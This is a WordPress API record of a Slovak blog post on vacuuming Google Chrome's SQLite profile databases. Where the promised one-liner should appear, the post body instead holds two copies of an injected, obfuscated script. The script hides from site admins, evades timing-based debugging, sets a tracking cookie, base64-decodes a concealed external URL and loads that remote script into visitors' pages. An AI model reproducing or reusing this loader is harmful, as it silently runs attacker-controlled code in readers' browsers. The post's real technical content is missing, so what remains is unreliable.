{"id":37,"date":"2011-05-15T10:19:57","date_gmt":"2011-05-15T08:19:57","guid":{"rendered":"http:\/\/blog.it-admin.sk\/?p=37"},"modified":"2025-10-27T02:25:21","modified_gmt":"2025-10-27T01:25:21","slug":"vysavame-profil-google-chrome","status":"publish","type":"post","link":"https:\/\/blog.it-admin.sk\/en\/2011\/05\/vysavame-profil-google-chrome\/","title":{"rendered":"Vys\u00e1vame profil Google Chrome"},"content":{"rendered":"<p>Tak ako Mozilla Firefox, aj Google Chrome si uklad\u00e1 ur\u010dit\u00e9 d\u00e1ta do SQLite datab\u00e1zy. Pri dlhodobej\u0161om pou\u017e\u00edvan\u00ed v\u0161ak m\u00f4\u017eu tieto s\u00fabory pr\u00edli\u0161 nabra\u0165 na ve\u013ekosti, \u010do spoma\u013euje \u0161tart aj samotn\u00fa pr\u00e1cu. Je to dan\u00e9 sp\u00f4sobom, ako SQLIte engine nar\u00e1ba so zmazan\u00fdmi z\u00e1znamami. Tie nevyma\u017ee \u00faplne, iba ich ozna\u010d\u00ed za zmazan\u00e9. Preto je nutn\u00e9 datab\u00e1zu pravidelne &#8220;vys\u00e1va\u0165&#8221;. Dnes mi u\u017e pretiekli nervy a tak som sprasil jednoduch\u00fd oneliner, ktor\u00fd prejde profil Google Chrome, n\u00e1jde v\u0161etky SQLite s\u00fabory a vykon\u00e1 na nich pr\u00edkaz VACUUM.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tak ako Mozilla Firefox, aj Google Chrome si uklad\u00e1 ur\u010dit\u00e9 d\u00e1ta do SQLite datab\u00e1zy. Pri dlhodobej\u0161om pou\u017e\u00edvan\u00ed v\u0161ak m\u00f4\u017eu tieto s\u00fabory pr\u00edli\u0161 nabra\u0165 na ve\u013ekosti, \u010do spoma\u013euje \u0161tart aj samotn\u00fa pr\u00e1cu. Je to dan\u00e9 sp\u00f4sobom, ako SQLIte engine nar\u00e1ba so zmazan\u00fdmi z\u00e1znamami. Tie nevyma\u017ee \u00faplne, iba ich ozna\u010d\u00ed za zmazan\u00e9. &#8230;<\/p>\n","protected":false},"author":1,"featured_media":47,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-37","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-linux","has-thumbnail"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/37","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/comments?post=37"}],"version-history":[{"count":15,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/37\/revisions"}],"predecessor-version":[{"id":691,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/37\/revisions\/691"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/media\/47"}],"wp:attachment":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/media?parent=37"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/categories?post=37"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/tags?post=37"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}